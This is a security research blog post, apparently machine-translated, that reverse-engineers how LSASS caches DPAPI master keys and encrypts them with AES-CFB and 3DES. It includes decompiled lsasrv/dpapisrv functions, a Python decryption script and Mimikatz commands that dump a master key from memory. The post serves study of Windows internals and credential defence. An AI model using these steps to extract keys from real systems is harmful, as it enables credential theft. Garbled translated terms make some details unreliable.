Before you start reading this post I would like to point out that it is not a practical technique because no sane person would manually search for DPAPI blobs and decryption keys during an evaluation. The article is intended to show how LSASS handles DPAPI keys.
When it comes to DPAPI master keys, we often think of folder %APPDATA%\Microsoft\Protect\{SID} for user keys or folder %WINDIR%\System32\Microsoft\Protect\S-1-5-18 for system keys.
but the keys are also stored as encrypted blobs in the process lsass.
These keys can be opened in a hex editor like the HxD and we can see that the GUID of the key is placed at the top.
To look at the rest of the parameters we could find how the data is organized and extract the rest of the information. During my research, I found this publication which conveniently lists all the attributes contained within a primary key DPAPI
dwLocalEncKeySiz
: current slot lengthdwVersion
: data structure versionpSalt
: saltdwPBKDF2IterationCount
: iterations in the PBKDF2 encryption key generation functionHMACAlgId
: hash algorithm identifierCryptAlgId
: used encryption algorithmpKey
: encrypted local encryption key, used to decrypt the local backup key in Windows 2000
We can also use the specific tool, to see these features
After checking the trial version of the tool, I opened it x64dbg and I attached a debugger to the process lsass.exe to see which one DLL are loaded into it and their symbols and I found what appeared to be the library responsible for handling stored master keys: dpapisrv.dll and the function MasterKeyCacheList.
Caution! Attaching a debugger to the LSASS process may cause the system to reboot
So we can open it DLL on IDA64 and let's take a closer look: While I didn't find the function MasterKeyCacheList in its functions DLL, I found references to it in other functions like findMasterKeyEntry
The g_MasterKeyCacheList refers only to the following functions
FindMasterKeyEntry
InsertMasterKeyCache
DPAPIInitialize
DeleteKeyCache
and since I'm focusing on extracting already existing keys, I focused on the function findMasterKeyEntry and I tried reversing its functionality to see if it does anything interesting: I also think that the IDA may have messed up some of the logic, but this is enough to get a general idea of what the function does.
HLOCAL *__fastcall FindMasterKeyEntry(
struct _LIST_ENTRY *cacheList,
const unsigned __int16 *keyIndentifier,
struct _LUID *userIdentifier,
struct _GUID *masterKeyGuid)
{
HLOCAL *currentEntry;
HLOCAL *foundEntry;
__int64 guidDifference;
const unsigned __int16 *currentKeyId;
int currentKeyIdChar;
int comparisonResult;
// initialize the head of the master key cache list
currentEntry = (HLOCAL *)g_MasterKeyCacheList;
// set found entry pointer to nullptr
foundEntry = 0i64;
// loop through the cache list
while ( currentEntry != &g_MasterKeyCacheList )
{
// check if a GUID is provided
if ( masterKeyGuid )
{
// compare the GUIDs
guidDifference = *(_QWORD *)&masterKeyGuid->Data1 – (_QWORD)currentEntry[3];
if ( *(HLOCAL *)&masterKeyGuid->Data1 == currentEntry[3] )
guidDifference = *(_QWORD *)masterKeyGuid->Data4 – (_QWORD)currentEntry[4];
// if the difference between the GUIDs is not 0 (the GUIDs are not the same)
// continue to the next entry
if ( guidDifference )
goto NEXT_CACHE_ENTRY;
}
// check if user and key identifiers are provided
if ( !userIdentifier )
{
if ( !keyIndentifier )
goto FOUND_CACHE_ENTRY;
// compare key identifiers
COMPARE_KEY_IDENTIFIERS:
currentKeyId = keyIndentifier;
do
{
currentKeyIdChar = *(const unsigned __int16 *)((char *)currentKeyId
+ (_BYTE *)currentEntry[15] – (_BYTE *)keyIndentifier);
comparisonResult = *currentKeyId – currentKeyIdChar;
if ( comparisonResult )
break;
++currentKeyId;
}
while ( currentKeyIdChar );
if ( !comparisonResult )
{
FOUND_CACHE_ENTRY:
// update the last access time attribute
// and return the found entry
// (this is only called if a matching entry is found)
foundEntry = currentEntry;
GetSystemTimeAsFileTime((LPFILETIME)currentEntry + 5);
return foundEntry;
}
goto NEXT_CACHE_ENTRY;
}
// check if the user identifier matches the current entry
if ( *((_DWORD *)currentEntry + 5) == userIdentifier->HighPart
&& *((_DWORD *)currentEntry + 4) == userIdentifier->LowPart )
{
goto FOUND_CACHE_ENTRY;
}
if ( keyIndentifier )
goto COMPARE_KEY_IDENTIFIERS;
NEXT_CACHE_ENTRY:
// move to the next entry
currentEntry = (HLOCAL *)*currentEntry;
}
return foundEntry;
}
Briefly, the function searches a list of cache entries for a specific key API data protection (DPAPI). It can use different criteria to find the key:
- Master Key GUID: searches for an entry with a matching GUID (unique identifier)
- User Identifier: searches for an entry associated with a specific user account
- Key Identifier: searches for an entry with a matching key identifier string
Based on the reversed code, one or more of these three features may not be present.
If we now go back to debugging the process LSASS, we can go to the address of the function findMasterKeyEntry and see the values in her memory g_MasterKeyCacheList.As we can see from the image above, the list cache starts with the System Keys, as the first 16 bytes are the name of the first System Key into a Little Endian form.
With a quick search on the Mimikatz Github repo, we can find this file header which contains the complete structure of the record cache
typedef struct _KIWI_MASTERKEY_CACHE_ENTRY {
struct _KIWI_MATTERKEY_CACHE_ENTRY *Flink;
struct _KIWI_MATERKEY_CACHE_ENTRY *Blink;
LUID LogonId;
GUID KeyUid?
FILETIME insertTime;
ULONG keySize;
BYTE key[ANYSIZE_ARRAY];
} KIWI_MASTERKEY_CACHE_ENTRY, *PKIWI_MASTERKEY_CACHE_ENTRY;
and we are able to find the 4 bytes that represent the length of the key- the value is 40 00 00 00 00, so the encrypted key value will be 40 bytes long and is represented by the part highlighted in light gray.
Now it's time to find out how the key is encrypted and decrypted: since Windows Vista, entries for the Master Key cache are encrypted with AES-256 in operation SFBC, so we should be able to retrieve the IV and key from somewhere in memory.
To find this information I repeated the same steps as before: I loaded LSASS in a debugger, looked at the symbols and tried to find functions related to key encryption.
That's how I found the library lsasrv.dll which contained symbols such as InitializationVector, aesKey and LspAES256DecryptData so I opened it in IDA.
When it comes to the AES key used for encryption and decryption we can simply look at the symbol hAesKey@@3PEAXEA and see where the price is listed to find the original price hAESKey in the function LsaInitializeProtectedMemory
We can also reverse the function in question to better understand what it does and how the memory is initialized
__int64 LsaInitializeProtectedMemory()
{
NTSTATUS status?
UCHAR *allocatedMemory3DES;
UCHAR *allocatedMemoryAES;
UCHAR *v3;
DWORD lastError;
ULONG resultSize;
UCHAR outputLength3DES[4];
UCHAR outputLengthAES[4];
UCHAR randomBuffer[16];
__int64 temp;
// initialize all the needed buffers
*(_DWORD *)outputLength3DES = 0;
*(_DWORD *)outputLengthAES = 0;
resultSize = 0;
temp = 0i64;
// open the 3DES crypto provider
*(_OWORD *)randomBuffer = 0i64;
status = BCryptOpenAlgorithmProvider(&h3DesProvider, L”3DES”, 0i64, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// open the AES crypto provider
status = BCryptOpenAlgorithmProvider(&hAesProvider, L”AES”, 0i64, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// set chaining mode to CBC for 3DES
status = BCryptSetProperty(h3DesProvider, L”ChainingMode”, (PUCHAR)L”ChainingModeCBC”, 0x20u, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// set chaining mode to CFB for AES
status = BCryptSetProperty(hAesProvider, L”ChainingMode”, (PUCHAR)L”ChainingModeCFB”, 0x20u, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
resultSize = 4;
// get the object length for 3DES
status = BCryptGetProperty(h3DesProvider, L”ObjectLength”, outputLength3DES, 4u, &resultSize, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
if ( resultSize == 4 )
{
resultSize = 4;
// get the object length for AES
status = BCryptGetProperty(hAesProvider, L”ObjectLength”, outputLengthAES, 4u, &resultSize, 0);
if ( status < 0 )
{
CLEANUP_FUNCTION:
LsaCleanupProtectedMemory();
return (unsigned int)status;
}
if ( resultSize == 4 )
{
// calculate the total memory size required
// for both 3DES and AES
LODWORD(CredLockedMemorySize) = *(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES;
allocatedMemory3DES = (UCHAR *)VirtualAlloc(
0i64,
(unsigned int)(*(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES),
0x1000u,
4u);
// allocate said memory
CredLockedMemory = allocatedMemory3DES;
if ( allocatedMemory3DES && VirtualLock(allocatedMemory3DES, (unsigned int)CredLockedMemorySize) )
{
allocatedMemoryAES = CredLockedMemory;
v3 = &CredLockedMemory[*(unsigned int *)outputLength3DES];
// generate random bytes for AES key
status = BCryptGenRandom(0i64, randomBuffer, 0x18u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// generate AES key
status = BCryptGenerateSymmetricKey(
h3DesProvider,
&h3DesKey,
allocatedMemoryAES,
*(ULONG *)outputLength3DES,
randomBuffer,
0x18u,
0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = BCryptGenRandom(0i64, randomBuffer, 0x10u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// generate a random IV
status = BCryptGenerateSymmetricKey(
hAesProvider,
&hAesKey,
v3,
*(ULONG *)outputLengthAES,
randomBuffer,
0x10u,
0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = BCryptGenRandom(0i64, &InitializationVector, 0x10u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = 0;
}
else
{
lastError = GetLastError();
status = I_RpcMapWin32Status(lastError);
}
}
}
if ( status < 0 )
goto CLEANUP_FUNCTION;
return (unsigned int)status;
}
Now we know where the AES key is stored and how to retrieve it, but we need to find where the IV is stored.
I tried looking at the Mimikatz source code again to see if I could quickly see where the IV is extracted from, but to no avail (I probably missed it).
Opening the file I noticed that there is no official PDB file for it
“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe” /v C:\Windows\System32\lsasrv.dll
...
SYMCHK: lsasrv.dll FAILED – lsasrv.pdb mismatched or not found
...
so i had to read it from here: once I downloaded the raw HTML contents (just skip the header), I saved it to the desktop as lsasrv.pdb and IDA found the symbols as soon as I opened it.
I then looked for some of the symbols I mentioned starting with InitializationVector as it seemed a good enough place to start looking- this symbol is only referenced by functions LsaEncryptMemory and LsaInitializeProtectedMemory: this is the reversed code from LsaEncryptMemory
void __fastcall LsaEncryptMemory(PUCHAR pbOutput, ULONG cbInput, int operation)
{
// handle to the key used for encryption and decryption
BCRYPT_KEY_HANDLE keyHandle;
// size of the IV
ULONG ivSize;
// size of the encryption result
ULONG resultSize;
// buffer for the IV (16 bytes)
UCHAR ivBuffer[16];
if ( pbOutput )
{
// set the value of the key handle to the
// default 3DES key handle (???)
keyHandle = h3DesKey;
resultSize = 0;
// default IV size for 3DES
ivSize = 8;
if ( cbInput )
{
// copy the initialization vector
// to the dedicated buffer
*(_OWORD *)ivBuffer = *(_OWORD *)&InitializationVector;
// check if the input size if a multiple of 8
// if it is, use AES instead of 3DES
if ( (cbInput & 7) != 0 )
{
// set the value of the key handle
// to the AES key
keyHandle = hAesKey;
// default IV size for AES
ivSize = 16;
}
if ( operation )
{
// if operation == 1 : perform encryption
// else : perform decryption
if ( operation == 1 )
BCryptEncrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
}
else
{
BCryptDecrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
}
}
}
}
This is a really valuable code snippet: it not only shows how the LSASS decides whether to use 3DES ή BEA, but also gives us a direct reference to InitializationVector which we can now read from memory using a debugger (light gray highlighted text)
The same process can be repeated for the key 3DES which refers to LsaEncryptMemory.
Now we have everything we need to decrypt the DPAPI master keys!
It is possible to write a console application that takes a handle to the process LSASS, lists the base addresses of the libraries lsasrv.dll and dpapisrv.dll and extracts the necessary values from memory to decrypt the key, but in this case I preferred something simpler and wrote the following script: its functionality is quite basic, as it just uses the Python Crypto module to decrypt with AES-CFB the encrypted key based on the IV and key values BEA provided by the user.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def decryptMasterKey(encrypted_master_key, aes_key, iv):
cipher = AES.new(aes_key, AES.MODE_CFB, iv=iv)
decrypted_master_key = cipher.decrypt(encrypted_master_key)
return decrypted_master_key
if __name__ == “__main__”:
# replace these with the actual encrypted master key,
# AES key, and IV found in memory
encrypted_master_key_hex = “ "
aes_key_hex = “ "
iv_hex = “ "
encrypted_master_key = binascii.unhexlify(encrypted_master_key_hex)
aes_key = binascii.unhexlify(aes_key_hex)
iv = binascii.unhexlify(iv_hex)
decrypted_master_key = decryptMasterKey(encrypted_master_key, aes_key, iv)
print(“[~] Master Key:”, binascii.hexlify(decrypted_master_key).decode())
To test this script, I decrypted the first entry in the master key cache list with the GUID 5b31d113-c5ac-441e-bc2d-391de8323a5f (same as I documented above): this is the output of the Python script
python3 dpapiMaster.py
[~] Master Key: 1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab
and this is the effect of Mimikatz
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name:
SID name : NT AUTHORITY\SYSTEM
616 {0;000003e7} 1 D 23011 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated!
* Process Token : {0;0001cb4c} 1 F 12026358 COMMANDO\otter S-1-5-21-4130188456-627131244-1205667481-1000 (15g,25p) Primary
* Thread Token : {0;000003e7} 1 D 12178278 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # securlsa::dpapi
...
[00000001] * GUID : {5b31d113-c5ac-441e-bc2d-391de8323a5f}* Time : 6/21/2024 12:48:29 PM
* MasterKey : 1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab
* sha1(key) : 4f9b43dcdaede3547fcc55815eb10f1755033456